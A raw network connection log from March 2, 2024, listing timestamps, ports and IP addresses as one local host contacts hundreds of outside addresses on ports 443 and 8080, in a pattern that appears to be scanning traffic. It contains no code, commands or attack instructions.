Mar 2, 2024 12:36:51.820190907 CET	50182	443	192.168.2.23	118.229.0.137
Mar 2, 2024 12:36:51.820190907 CET	50182	443	192.168.2.23	212.95.28.95
Mar 2, 2024 12:36:51.820190907 CET	50950	8080	192.168.2.23	187.94.41.186
Mar 2, 2024 12:36:51.820193052 CET	50182	443	192.168.2.23	212.100.49.122
Mar 2, 2024 12:36:51.820194006 CET	50182	443	192.168.2.23	94.74.86.49
Mar 2, 2024 12:36:51.820194960 CET	50182	443	192.168.2.23	42.53.21.76
Mar 2, 2024 12:36:51.820194006 CET	50950	8080	192.168.2.23	201.201.249.197
Mar 2, 2024 12:36:51.820194006 CET	50182	443	192.168.2.23	37.201.93.212
Mar 2, 2024 12:36:51.820199013 CET	443	50182	210.238.188.233	192.168.2.23
Mar 2, 2024 12:36:51.820203066 CET	50182	443	192.168.2.23	118.3.228.156
Mar 2, 2024 12:36:51.820203066 CET	50182	443	192.168.2.23	42.136.52.140
Mar 2, 2024 12:36:51.820209026 CET	443	50182	118.3.228.156	192.168.2.23
Mar 2, 2024 12:36:51.820209980 CET	50182	443	192.168.2.23	109.65.242.47
Mar 2, 2024 12:36:51.820218086 CET	443	50182	109.65.242.47	192.168.2.23
Mar 2, 2024 12:36:51.820218086 CET	443	50182	42.136.52.140	192.168.2.23
Mar 2, 2024 12:36:51.820221901 CET	50950	8080	192.168.2.23	187.187.29.155
Mar 2, 2024 12:36:51.820221901 CET	50182	443	192.168.2.23	118.28.66.150
Mar 2, 2024 12:36:51.820221901 CET	50182	443	192.168.2.23	94.88.169.250
Mar 2, 2024 12:36:51.820223093 CET	50950	8080	192.168.2.23	187.230.184.87
Mar 2, 2024 12:36:51.820221901 CET	50950	8080	192.168.2.23	189.60.209.74
Mar 2, 2024 12:36:51.820223093 CET	50950	8080	192.168.2.23	201.182.23.211
Mar 2, 2024 12:36:51.820224047 CET	50950	8080	192.168.2.23	187.19.31.117
Mar 2, 2024 12:36:51.820234060 CET	50950	8080	192.168.2.23	189.228.60.194
Mar 2, 2024 12:36:51.820233107 CET	50182	443	192.168.2.23	5.117.231.2
Mar 2, 2024 12:36:51.820234060 CET	50950	8080	192.168.2.23	187.241.225.54
Mar 2, 2024 12:36:51.820234060 CET	50182	443	192.168.2.23	178.66.139.8
Mar 2, 2024 12:36:51.820234060 CET	50950	8080	192.168.2.23	187.155.231.117
Mar 2, 2024 12:36:51.820236921 CET	50950	8080	192.168.2.23	201.235.60.196
Mar 2, 2024 12:36:51.820234060 CET	50950	8080	192.168.2.23	189.110.71.156
Mar 2, 2024 12:36:51.820238113 CET	50950	8080	192.168.2.23	201.30.38.138
Mar 2, 2024 12:36:51.820239067 CET	443	50182	94.88.169.250	192.168.2.23
Mar 2, 2024 12:36:51.820238113 CET	50182	443	192.168.2.23	212.49.223.172
Mar 2, 2024 12:36:51.820238113 CET	50950	8080	192.168.2.23	187.160.222.80
Mar 2, 2024 12:36:51.820239067 CET	50182	443	192.168.2.23	212.60.11.183
Mar 2, 2024 12:36:51.820241928 CET	50182	443	192.168.2.23	37.14.195.91
Mar 2, 2024 12:36:51.820241928 CET	50182	443	192.168.2.23	118.51.54.74
Mar 2, 2024 12:36:51.820241928 CET	50950	8080	192.168.2.23	201.179.7.5
Mar 2, 2024 12:36:51.820245981 CET	443	50182	212.60.11.183	192.168.2.23
Mar 2, 2024 12:36:51.820250988 CET	443	50182	212.49.223.172	192.168.2.23
Mar 2, 2024 12:36:51.820255041 CET	443	50182	37.14.195.91	192.168.2.23
Mar 2, 2024 12:36:51.820255995 CET	50182	443	192.168.2.23	118.3.228.156
Mar 2, 2024 12:36:51.820255995 CET	443	50182	5.117.231.2	192.168.2.23
Mar 2, 2024 12:36:51.820256948 CET	50182	443	192.168.2.23	212.48.177.127
Mar 2, 2024 12:36:51.820255995 CET	50182	443	192.168.2.23	42.136.52.140
Mar 2, 2024 12:36:51.820260048 CET	50182	443	192.168.2.23	178.152.47.146
Mar 2, 2024 12:36:51.820260048 CET	50182	443	192.168.2.23	210.103.100.61
Mar 2, 2024 12:36:51.820260048 CET	50950	8080	192.168.2.23	201.31.6.44
Mar 2, 2024 12:36:51.820260048 CET	50950	8080	192.168.2.23	187.99.80.39
Mar 2, 2024 12:36:51.820260048 CET	50182	443	192.168.2.23	210.238.188.233
Mar 2, 2024 12:36:51.820260048 CET	50182	443	192.168.2.23	79.118.76.194
Mar 2, 2024 12:36:51.820260048 CET	50182	443	192.168.2.23	212.147.10.200
Mar 2, 2024 12:36:51.820262909 CET	443	50182	212.48.177.127	192.168.2.23
Mar 2, 2024 12:36:51.820265055 CET	50950	8080	192.168.2.23	201.61.190.196
Mar 2, 2024 12:36:51.820265055 CET	50950	8080	192.168.2.23	201.98.164.190
Mar 2, 2024 12:36:51.820265055 CET	50950	8080	192.168.2.23	187.41.230.53
Mar 2, 2024 12:36:51.820265055 CET	50182	443	192.168.2.23	2.75.93.0
Mar 2, 2024 12:36:51.820266962 CET	443	50182	178.66.139.8	192.168.2.23
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	118.143.193.62
Mar 2, 2024 12:36:51.820266962 CET	50182	443	192.168.2.23	94.101.199.178
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	42.71.136.181
Mar 2, 2024 12:36:51.820266962 CET	50182	443	192.168.2.23	109.83.170.218
Mar 2, 2024 12:36:51.820267916 CET	50950	8080	192.168.2.23	189.48.204.224
Mar 2, 2024 12:36:51.820266962 CET	50950	8080	192.168.2.23	189.168.44.181
Mar 2, 2024 12:36:51.820267916 CET	50182	443	192.168.2.23	210.57.40.84
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	37.125.31.83
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	2.232.16.221
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	109.144.94.148
Mar 2, 2024 12:36:51.820272923 CET	50182	443	192.168.2.23	212.50.39.108
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	212.125.139.228
Mar 2, 2024 12:36:51.820261955 CET	50182	443	192.168.2.23	212.118.10.82
Mar 2, 2024 12:36:51.820276022 CET	443	50182	118.51.54.74	192.168.2.23
Mar 2, 2024 12:36:51.820272923 CET	50950	8080	192.168.2.23	187.199.204.87
Mar 2, 2024 12:36:51.820272923 CET	50950	8080	192.168.2.23	201.54.126.57
Mar 2, 2024 12:36:51.820276976 CET	443	50182	178.152.47.146	192.168.2.23
Mar 2, 2024 12:36:51.820272923 CET	50182	443	192.168.2.23	5.132.5.61
Mar 2, 2024 12:36:51.820272923 CET	50950	8080	192.168.2.23	189.195.69.234
Mar 2, 2024 12:36:51.820272923 CET	50182	443	192.168.2.23	178.252.76.34
Mar 2, 2024 12:36:51.820272923 CET	50182	443	192.168.2.23	210.54.6.234
Mar 2, 2024 12:36:51.820278883 CET	50182	443	192.168.2.23	212.254.123.160
Mar 2, 2024 12:36:51.820278883 CET	50182	443	192.168.2.23	109.65.242.47
Mar 2, 2024 12:36:51.820280075 CET	443	50182	2.75.93.0	192.168.2.23
Mar 2, 2024 12:36:51.820278883 CET	50950	8080	192.168.2.23	187.87.228.150
Mar 2, 2024 12:36:51.820282936 CET	443	50182	94.101.199.178	192.168.2.23
Mar 2, 2024 12:36:51.820282936 CET	50182	443	192.168.2.23	178.104.222.154
Mar 2, 2024 12:36:51.820282936 CET	50950	8080	192.168.2.23	189.142.177.177
Mar 2, 2024 12:36:51.820283890 CET	443	50182	210.57.40.84	192.168.2.23
Mar 2, 2024 12:36:51.820282936 CET	50950	8080	192.168.2.23	189.60.177.138
Mar 2, 2024 12:36:51.820285082 CET	50182	443	192.168.2.23	212.49.223.172
Mar 2, 2024 12:36:51.820286989 CET	443	50182	210.103.100.61	192.168.2.23
Mar 2, 2024 12:36:51.820287943 CET	443	50182	109.83.170.218	192.168.2.23
Mar 2, 2024 12:36:51.820288897 CET	50182	443	192.168.2.23	118.168.189.222
Mar 2, 2024 12:36:51.820288897 CET	50182	443	192.168.2.23	212.60.11.183
Mar 2, 2024 12:36:51.820291996 CET	443	50182	212.50.39.108	192.168.2.23
Mar 2, 2024 12:36:51.820291996 CET	443	50182	118.143.193.62	192.168.2.23
Mar 2, 2024 12:36:51.820293903 CET	443	50182	178.104.222.154	192.168.2.23
Mar 2, 2024 12:36:51.820293903 CET	50182	443	192.168.2.23	42.135.0.228
Mar 2, 2024 12:36:51.820293903 CET	50182	443	192.168.2.23	109.253.167.194
Mar 2, 2024 12:36:51.820293903 CET	50182	443	192.168.2.23	37.155.17.138
Mar 2, 2024 12:36:51.820293903 CET	50182	443	192.168.2.23	118.253.155.216
Mar 2, 2024 12:36:51.820296049 CET	443	50182	118.168.189.222	192.168.2.23
Mar 2, 2024 12:36:51.820300102 CET	443	50182	79.118.76.194	192.168.2.23
Mar 2, 2024 12:36:51.820300102 CET	443	50182	212.254.123.160	192.168.2.23
Mar 2, 2024 12:36:51.820307016 CET	50182	443	192.168.2.23	94.88.169.250
Mar 2, 2024 12:36:51.820307016 CET	50182	443	192.168.2.23	212.48.177.127
Mar 2, 2024 12:36:51.820307970 CET	443	50182	42.71.136.181	192.168.2.23
Mar 2, 2024 12:36:51.820307970 CET	443	50182	5.132.5.61	192.168.2.23
Mar 2, 2024 12:36:51.820310116 CET	443	50182	212.147.10.200	192.168.2.23
Mar 2, 2024 12:36:51.820310116 CET	50182	443	192.168.2.23	178.66.139.8
Mar 2, 2024 12:36:51.820310116 CET	50182	443	192.168.2.23	5.117.231.2
Mar 2, 2024 12:36:51.820311069 CET	50950	8080	192.168.2.23	187.172.130.166
Mar 2, 2024 12:36:51.820310116 CET	50182	443	192.168.2.23	79.55.227.81
Mar 2, 2024 12:36:51.820311069 CET	50950	8080	192.168.2.23	201.194.219.71
Mar 2, 2024 12:36:51.820312023 CET	443	50182	42.135.0.228	192.168.2.23
Mar 2, 2024 12:36:51.820311069 CET	50182	443	192.168.2.23	2.75.93.0
Mar 2, 2024 12:36:51.820313931 CET	443	50182	37.125.31.83	192.168.2.23
Mar 2, 2024 12:36:51.820317030 CET	50182	443	192.168.2.23	42.129.195.222
Mar 2, 2024 12:36:51.820317984 CET	50182	443	192.168.2.23	210.57.40.84
Mar 2, 2024 12:36:51.820318937 CET	443	50182	109.253.167.194	192.168.2.23
Mar 2, 2024 12:36:51.820319891 CET	443	50182	178.252.76.34	192.168.2.23
Mar 2, 2024 12:36:51.820322990 CET	443	50182	79.55.227.81	192.168.2.23
Mar 2, 2024 12:36:51.820323944 CET	443	50182	37.155.17.138	192.168.2.23
Mar 2, 2024 12:36:51.820327044 CET	443	50182	42.129.195.222	192.168.2.23
Mar 2, 2024 12:36:51.820329905 CET	443	50182	2.232.16.221	192.168.2.23
Mar 2, 2024 12:36:51.820331097 CET	443	50182	109.144.94.148	192.168.2.23
Mar 2, 2024 12:36:51.820332050 CET	443	50182	210.54.6.234	192.168.2.23
Mar 2, 2024 12:36:51.820334911 CET	50182	443	192.168.2.23	118.168.189.222
Mar 2, 2024 12:36:51.820337057 CET	50182	443	192.168.2.23	37.14.195.91
Mar 2, 2024 12:36:51.820337057 CET	50950	8080	192.168.2.23	189.22.69.107
Mar 2, 2024 12:36:51.820338011 CET	443	50182	118.253.155.216	192.168.2.23
Mar 2, 2024 12:36:51.820337057 CET	50182	443	192.168.2.23	118.51.54.74
Mar 2, 2024 12:36:51.820338964 CET	50182	443	192.168.2.23	212.254.123.160
Mar 2, 2024 12:36:51.820337057 CET	50182	443	192.168.2.23	212.50.39.108
Mar 2, 2024 12:36:51.820343971 CET	443	50182	212.125.139.228	192.168.2.23
Mar 2, 2024 12:36:51.820349932 CET	50182	443	192.168.2.23	178.152.47.146
Mar 2, 2024 12:36:51.820349932 CET	50182	443	192.168.2.23	210.103.100.61
Mar 2, 2024 12:36:51.820349932 CET	50182	443	192.168.2.23	212.147.10.200
Mar 2, 2024 12:36:51.820349932 CET	50182	443	192.168.2.23	79.118.76.194
Mar 2, 2024 12:36:51.820353985 CET	443	50182	212.118.10.82	192.168.2.23
Mar 2, 2024 12:36:51.820353985 CET	50182	443	192.168.2.23	178.104.222.154
Mar 2, 2024 12:36:51.820357084 CET	50182	443	192.168.2.23	109.83.170.218
Mar 2, 2024 12:36:51.820357084 CET	50182	443	192.168.2.23	42.135.0.228
Mar 2, 2024 12:36:51.820357084 CET	50182	443	192.168.2.23	94.101.199.178
Mar 2, 2024 12:36:51.820357084 CET	50182	443	192.168.2.23	109.253.167.194
Mar 2, 2024 12:36:51.820360899 CET	50182	443	192.168.2.23	5.132.5.61
Mar 2, 2024 12:36:51.820360899 CET	50182	443	192.168.2.23	178.252.76.34
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	2.141.101.63
Mar 2, 2024 12:36:51.820369959 CET	50950	8080	192.168.2.23	189.197.82.106
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	109.165.22.122
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	37.30.201.1
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	5.192.69.195
Mar 2, 2024 12:36:51.820372105 CET	50182	443	192.168.2.23	37.121.181.164
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	42.71.136.181
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	118.143.193.62
Mar 2, 2024 12:36:51.820369959 CET	50182	443	192.168.2.23	37.125.31.83
Mar 2, 2024 12:36:51.820379972 CET	50182	443	192.168.2.23	2.72.191.109
Mar 2, 2024 12:36:51.820383072 CET	443	50182	37.121.181.164	192.168.2.23
Mar 2, 2024 12:36:51.820384979 CET	50182	443	192.168.2.23	94.161.207.136
Mar 2, 2024 12:36:51.820384979 CET	50950	8080	192.168.2.23	189.157.75.51
Mar 2, 2024 12:36:51.820385933 CET	50182	443	192.168.2.23	37.155.17.138
Mar 2, 2024 12:36:51.820385933 CET	50182	443	192.168.2.23	118.253.155.216
Mar 2, 2024 12:36:51.820388079 CET	443	50182	2.72.191.109	192.168.2.23
Mar 2, 2024 12:36:51.820388079 CET	443	50182	2.141.101.63	192.168.2.23
Mar 2, 2024 12:36:51.820395947 CET	50950	8080	192.168.2.23	189.157.43.57
Mar 2, 2024 12:36:51.820396900 CET	50182	443	192.168.2.23	42.129.195.222
Mar 2, 2024 12:36:51.820396900 CET	443	50182	94.161.207.136	192.168.2.23
Mar 2, 2024 12:36:51.820396900 CET	50950	8080	192.168.2.23	189.8.21.206
Mar 2, 2024 12:36:51.820399046 CET	50182	443	192.168.2.23	210.54.6.234
Mar 2, 2024 12:36:51.820404053 CET	50950	8080	192.168.2.23	201.52.20.55
Mar 2, 2024 12:36:51.820405006 CET	443	50182	109.165.22.122	192.168.2.23
Mar 2, 2024 12:36:51.820404053 CET	50182	443	192.168.2.23	94.38.20.70
Mar 2, 2024 12:36:51.820406914 CET	443	50182	37.30.201.1	192.168.2.23
Mar 2, 2024 12:36:51.820405006 CET	50950	8080	192.168.2.23	189.210.2.204
Mar 2, 2024 12:36:51.820410013 CET	50950	8080	192.168.2.23	187.170.236.204
Mar 2, 2024 12:36:51.820410967 CET	50182	443	192.168.2.23	2.178.20.139
Mar 2, 2024 12:36:51.820410967 CET	50950	8080	192.168.2.23	201.24.253.189
Mar 2, 2024 12:36:51.820411921 CET	50182	443	192.168.2.23	79.178.25.12
Mar 2, 2024 12:36:51.820415020 CET	50182	443	192.168.2.23	79.55.227.81
Mar 2, 2024 12:36:51.820415020 CET	50182	443	192.168.2.23	212.59.93.12
Mar 2, 2024 12:36:51.820415974 CET	443	50182	94.38.20.70	192.168.2.23
Mar 2, 2024 12:36:51.820417881 CET	443	50182	79.178.25.12	192.168.2.23
Mar 2, 2024 12:36:51.820419073 CET	50950	8080	192.168.2.23	189.3.25.23
Mar 2, 2024 12:36:51.820417881 CET	443	50182	5.192.69.195	192.168.2.23
Mar 2, 2024 12:36:51.820415020 CET	50950	8080	192.168.2.23	187.194.110.132
Mar 2, 2024 12:36:51.820419073 CET	50182	443	192.168.2.23	2.88.4.222
Mar 2, 2024 12:36:51.820415020 CET	50950	8080	192.168.2.23	187.129.37.21
Mar 2, 2024 12:36:51.820422888 CET	443	50182	2.178.20.139	192.168.2.23
Mar 2, 2024 12:36:51.820424080 CET	50182	443	192.168.2.23	94.5.234.71
Mar 2, 2024 12:36:51.820427895 CET	50182	443	192.168.2.23	37.177.198.88
Mar 2, 2024 12:36:51.820427895 CET	50182	443	192.168.2.23	37.121.181.164
Mar 2, 2024 12:36:51.820429087 CET	443	50182	2.88.4.222	192.168.2.23
Mar 2, 2024 12:36:51.820429087 CET	443	50182	94.5.234.71	192.168.2.23
Mar 2, 2024 12:36:51.820432901 CET	50950	8080	192.168.2.23	201.170.108.115
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	109.144.94.148
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	2.232.16.221
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	109.137.242.147
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	212.125.139.228
Mar 2, 2024 12:36:51.820436001 CET	443	50182	212.59.93.12	192.168.2.23
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	212.118.10.82
Mar 2, 2024 12:36:51.820432901 CET	50950	8080	192.168.2.23	189.149.21.40
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	2.230.73.186
Mar 2, 2024 12:36:51.820432901 CET	50182	443	192.168.2.23	109.165.22.122
Mar 2, 2024 12:36:51.820439100 CET	443	50182	37.177.198.88	192.168.2.23
Mar 2, 2024 12:36:51.820446968 CET	50182	443	192.168.2.23	2.72.191.109
Mar 2, 2024 12:36:51.820452929 CET	443	50182	109.137.242.147	192.168.2.23
Mar 2, 2024 12:36:51.820453882 CET	50182	443	192.168.2.23	2.215.139.204
Mar 2, 2024 12:36:51.820455074 CET	50182	443	192.168.2.23	94.38.20.70
Mar 2, 2024 12:36:51.820456982 CET	50182	443	192.168.2.23	94.161.207.136
Mar 2, 2024 12:36:51.820458889 CET	50182	443	192.168.2.23	79.178.25.12
Mar 2, 2024 12:36:51.820463896 CET	443	50182	2.215.139.204	192.168.2.23
Mar 2, 2024 12:36:51.820465088 CET	443	50182	2.230.73.186	192.168.2.23
Mar 2, 2024 12:36:51.820470095 CET	50950	8080	192.168.2.23	187.116.199.127
Mar 2, 2024 12:36:51.820471048 CET	50182	443	192.168.2.23	212.59.93.12
Mar 2, 2024 12:36:51.820472002 CET	50182	443	192.168.2.23	2.88.4.222
Mar 2, 2024 12:36:51.820475101 CET	50182	443	192.168.2.23	2.141.101.63
Mar 2, 2024 12:36:51.820475101 CET	50182	443	192.168.2.23	37.30.201.1
Mar 2, 2024 12:36:51.820475101 CET	50182	443	192.168.2.23	5.192.69.195
Mar 2, 2024 12:36:51.820481062 CET	50182	443	192.168.2.23	2.178.20.139
Mar 2, 2024 12:36:51.820483923 CET	50182	443	192.168.2.23	94.5.234.71
Mar 2, 2024 12:36:51.820483923 CET	50950	8080	192.168.2.23	189.240.117.104
Mar 2, 2024 12:36:51.820485115 CET	50950	8080	192.168.2.23	189.194.252.181
Mar 2, 2024 12:36:51.820483923 CET	50950	8080	192.168.2.23	201.190.31.235
Mar 2, 2024 12:36:51.820489883 CET	50182	443	192.168.2.23	79.61.188.208
Mar 2, 2024 12:36:51.820492983 CET	50182	443	192.168.2.23	5.27.236.111
Mar 2, 2024 12:36:51.820497990 CET	50182	443	192.168.2.23	2.11.98.105
Mar 2, 2024 12:36:51.820499897 CET	443	50182	79.61.188.208	192.168.2.23
Mar 2, 2024 12:36:51.820502043 CET	443	50182	5.27.236.111	192.168.2.23
Mar 2, 2024 12:36:51.820504904 CET	443	50182	2.11.98.105	192.168.2.23
Mar 2, 2024 12:36:51.820506096 CET	50182	443	192.168.2.23	109.43.95.46
Mar 2, 2024 12:36:51.820506096 CET	50182	443	192.168.2.23	212.142.160.230
Mar 2, 2024 12:36:51.820506096 CET	50182	443	192.168.2.23	5.101.206.229
Mar 2, 2024 12:36:51.820506096 CET	50182	443	192.168.2.23	210.130.200.57
Mar 2, 2024 12:36:51.820506096 CET	50182	443	192.168.2.23	2.61.37.134
Mar 2, 2024 12:36:51.820512056 CET	443	50182	109.43.95.46	192.168.2.23
Mar 2, 2024 12:36:51.820516109 CET	50182	443	192.168.2.23	2.230.73.186
Mar 2, 2024 12:36:51.820517063 CET	50182	443	192.168.2.23	37.177.198.88
Mar 2, 2024 12:36:51.820516109 CET	50182	443	192.168.2.23	109.137.242.147
Mar 2, 2024 12:36:51.820522070 CET	50182	443	192.168.2.23	42.205.107.118
Mar 2, 2024 12:36:51.820523024 CET	443	50182	5.101.206.229	192.168.2.23
Mar 2, 2024 12:36:51.820522070 CET	50182	443	192.168.2.23	79.5.218.70
Mar 2, 2024 12:36:51.820523024 CET	443	50182	212.142.160.230	192.168.2.23
Mar 2, 2024 12:36:51.820528030 CET	50182	443	192.168.2.23	210.74.104.195
Mar 2, 2024 12:36:51.820528984 CET	50950	8080	192.168.2.23	187.11.48.39
Mar 2, 2024 12:36:51.820528030 CET	50950	8080	192.168.2.23	201.65.207.145
Mar 2, 2024 12:36:51.820528984 CET	50182	443	192.168.2.23	212.168.83.135
Mar 2, 2024 12:36:51.820528984 CET	50182	443	192.168.2.23	2.215.139.204
Mar 2, 2024 12:36:51.820530891 CET	50182	443	192.168.2.23	178.146.54.65
Mar 2, 2024 12:36:51.820532084 CET	50182	443	192.168.2.23	109.184.170.78
Mar 2, 2024 12:36:51.820532084 CET	443	50182	210.130.200.57	192.168.2.23
Mar 2, 2024 12:36:51.820532084 CET	50182	443	192.168.2.23	79.78.231.156
Mar 2, 2024 12:36:51.820533037 CET	443	50182	42.205.107.118	192.168.2.23
Mar 2, 2024 12:36:51.820533991 CET	50182	443	192.168.2.23	118.135.12.43
Mar 2, 2024 12:36:51.820533991 CET	50182	443	192.168.2.23	94.175.23.230
Mar 2, 2024 12:36:51.820533991 CET	50950	8080	192.168.2.23	189.68.119.239
Mar 2, 2024 12:36:51.820533991 CET	50950	8080	192.168.2.23	189.93.218.227
Mar 2, 2024 12:36:51.820533991 CET	50950	8080	192.168.2.23	201.135.117.138
Mar 2, 2024 12:36:51.820535898 CET	443	50182	2.61.37.134	192.168.2.23
Mar 2, 2024 12:36:51.820539951 CET	50950	8080	192.168.2.23	189.224.158.70
Mar 2, 2024 12:36:51.820542097 CET	50182	443	192.168.2.23	210.208.74.6
Mar 2, 2024 12:36:51.820545912 CET	443	50182	118.135.12.43	192.168.2.23
Mar 2, 2024 12:36:51.820545912 CET	443	50182	178.146.54.65	192.168.2.23
Mar 2, 2024 12:36:51.820547104 CET	443	50182	79.5.218.70	192.168.2.23
Mar 2, 2024 12:36:51.820548058 CET	50182	443	192.168.2.23	37.189.121.53
Mar 2, 2024 12:36:51.820548058 CET	443	50182	210.208.74.6	192.168.2.23
Mar 2, 2024 12:36:51.820548058 CET	50182	443	192.168.2.23	109.210.220.210
Mar 2, 2024 12:36:51.820549965 CET	50182	443	192.168.2.23	2.11.98.105
Mar 2, 2024 12:36:51.820548058 CET	50950	8080	192.168.2.23	201.162.63.251
Mar 2, 2024 12:36:51.820548058 CET	50950	8080	192.168.2.23	201.169.241.137
Mar 2, 2024 12:36:51.820549965 CET	50182	443	192.168.2.23	118.215.28.111
Mar 2, 2024 12:36:51.820548058 CET	50182	443	192.168.2.23	94.172.208.74
Mar 2, 2024 12:36:51.820548058 CET	50182	443	192.168.2.23	5.27.236.111
Mar 2, 2024 12:36:51.820553064 CET	443	50182	210.74.104.195	192.168.2.23
Mar 2, 2024 12:36:51.820554972 CET	443	50182	212.168.83.135	192.168.2.23
Mar 2, 2024 12:36:51.820557117 CET	443	50182	79.78.231.156	192.168.2.23
Mar 2, 2024 12:36:51.820559978 CET	443	50182	109.184.170.78	192.168.2.23
Mar 2, 2024 12:36:51.820560932 CET	50950	8080	192.168.2.23	189.114.198.115
Mar 2, 2024 12:36:51.820561886 CET	50182	443	192.168.2.23	79.124.244.9
Mar 2, 2024 12:36:51.820561886 CET	50182	443	192.168.2.23	178.76.210.103
Mar 2, 2024 12:36:51.820561886 CET	50182	443	192.168.2.23	178.255.243.128
Mar 2, 2024 12:36:51.820564032 CET	50182	443	192.168.2.23	109.92.70.92
Mar 2, 2024 12:36:51.820564985 CET	50182	443	192.168.2.23	37.35.206.44
Mar 2, 2024 12:36:51.820564032 CET	443	50182	118.215.28.111	192.168.2.23
Mar 2, 2024 12:36:51.820564032 CET	443	50182	37.189.121.53	192.168.2.23
Mar 2, 2024 12:36:51.820564985 CET	443	50182	94.175.23.230	192.168.2.23
Mar 2, 2024 12:36:51.820565939 CET	50182	443	192.168.2.23	94.224.10.69
Mar 2, 2024 12:36:51.820564032 CET	50182	443	192.168.2.23	79.61.188.208
Mar 2, 2024 12:36:51.820571899 CET	50182	443	192.168.2.23	5.101.206.229
Mar 2, 2024 12:36:51.820571899 CET	50182	443	192.168.2.23	210.130.200.57
Mar 2, 2024 12:36:51.820574045 CET	50950	8080	192.168.2.23	187.116.113.153
Mar 2, 2024 12:36:51.820575953 CET	443	50182	94.224.10.69	192.168.2.23
Mar 2, 2024 12:36:51.820576906 CET	443	50182	37.35.206.44	192.168.2.23
Mar 2, 2024 12:36:51.820581913 CET	443	50182	109.210.220.210	192.168.2.23
Mar 2, 2024 12:36:51.820581913 CET	443	50182	109.92.70.92	192.168.2.23
Mar 2, 2024 12:36:51.820585966 CET	443	50182	79.124.244.9	192.168.2.23
Mar 2, 2024 12:36:51.820590973 CET	50182	443	192.168.2.23	109.43.95.46
Mar 2, 2024 12:36:51.820590973 CET	50950	8080	192.168.2.23	187.14.160.176
Mar 2, 2024 12:36:51.820590973 CET	50950	8080	192.168.2.23	201.215.125.20
Mar 2, 2024 12:36:51.820590973 CET	50182	443	192.168.2.23	118.135.12.43
Mar 2, 2024 12:36:51.820590973 CET	50950	8080	192.168.2.23	187.134.245.175
Mar 2, 2024 12:36:51.820594072 CET	443	50182	94.172.208.74	192.168.2.23
Mar 2, 2024 12:36:51.820595980 CET	50182	443	192.168.2.23	212.142.160.230
Mar 2, 2024 12:36:51.820595980 CET	50950	8080	192.168.2.23	201.213.111.131
Mar 2, 2024 12:36:51.820595980 CET	50182	443	192.168.2.23	210.208.74.6
Mar 2, 2024 12:36:51.820595980 CET	50182	443	192.168.2.23	2.61.37.134
Mar 2, 2024 12:36:51.820597887 CET	443	50182	178.76.210.103	192.168.2.23
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	187.106.133.156
Mar 2, 2024 12:36:51.820600986 CET	50182	443	192.168.2.23	212.188.97.187
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	201.39.204.58
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	189.194.224.207
Mar 2, 2024 12:36:51.820600986 CET	50182	443	192.168.2.23	212.168.83.135
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	201.95.248.179
Mar 2, 2024 12:36:51.820600986 CET	50182	443	192.168.2.23	210.74.104.195
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	201.155.255.77
Mar 2, 2024 12:36:51.820609093 CET	443	50182	178.255.243.128	192.168.2.23
Mar 2, 2024 12:36:51.820600986 CET	50950	8080	192.168.2.23	189.14.148.97
Mar 2, 2024 12:36:51.820611954 CET	50182	443	192.168.2.23	178.146.54.65
Mar 2, 2024 12:36:51.820611954 CET	50182	443	192.168.2.23	109.184.170.78
Mar 2, 2024 12:36:51.820611954 CET	50950	8080	192.168.2.23	201.136.196.225
Mar 2, 2024 12:36:51.820611954 CET	50182	443	192.168.2.23	79.78.231.156
Mar 2, 2024 12:36:51.820611954 CET	50182	443	192.168.2.23	94.224.10.69
Mar 2, 2024 12:36:51.820617914 CET	50950	8080	192.168.2.23	189.71.86.179
Mar 2, 2024 12:36:51.820617914 CET	443	50182	212.188.97.187	192.168.2.23
Mar 2, 2024 12:36:51.820617914 CET	50950	8080	192.168.2.23	201.80.110.97
Mar 2, 2024 12:36:51.820619106 CET	50182	443	192.168.2.23	42.205.107.118
Mar 2, 2024 12:36:51.820619106 CET	50950	8080	192.168.2.23	189.47.228.155
Mar 2, 2024 12:36:51.820619106 CET	50182	443	192.168.2.23	79.5.218.70
Mar 2, 2024 12:36:51.820619106 CET	50950	8080	192.168.2.23	187.107.214.92
Mar 2, 2024 12:36:51.820619106 CET	50950	8080	192.168.2.23	187.9.167.112
Mar 2, 2024 12:36:51.820632935 CET	50182	443	192.168.2.23	118.215.28.111
Mar 2, 2024 12:36:51.820632935 CET	50950	8080	192.168.2.23	189.93.181.56
Mar 2, 2024 12:36:51.820632935 CET	50950	8080	192.168.2.23	201.166.99.100
Mar 2, 2024 12:36:51.820632935 CET	50950	8080	192.168.2.23	189.81.117.100
Mar 2, 2024 12:36:51.820632935 CET	50950	8080	192.168.2.23	201.17.169.169
Mar 2, 2024 12:36:51.820632935 CET	50950	8080	192.168.2.23	189.242.163.254
Mar 2, 2024 12:36:51.820636034 CET	50182	443	192.168.2.23	94.175.23.230
Mar 2, 2024 12:36:51.820636034 CET	50950	8080	192.168.2.23	201.141.124.159
Mar 2, 2024 12:36:51.820638895 CET	50182	443	192.168.2.23	37.189.121.53
Mar 2, 2024 12:36:51.820638895 CET	50950	8080	192.168.2.23	201.228.69.199
Mar 2, 2024 12:36:51.820638895 CET	50182	443	192.168.2.23	37.35.206.44
Mar 2, 2024 12:36:51.820640087 CET	50950	8080	192.168.2.23	201.0.173.16
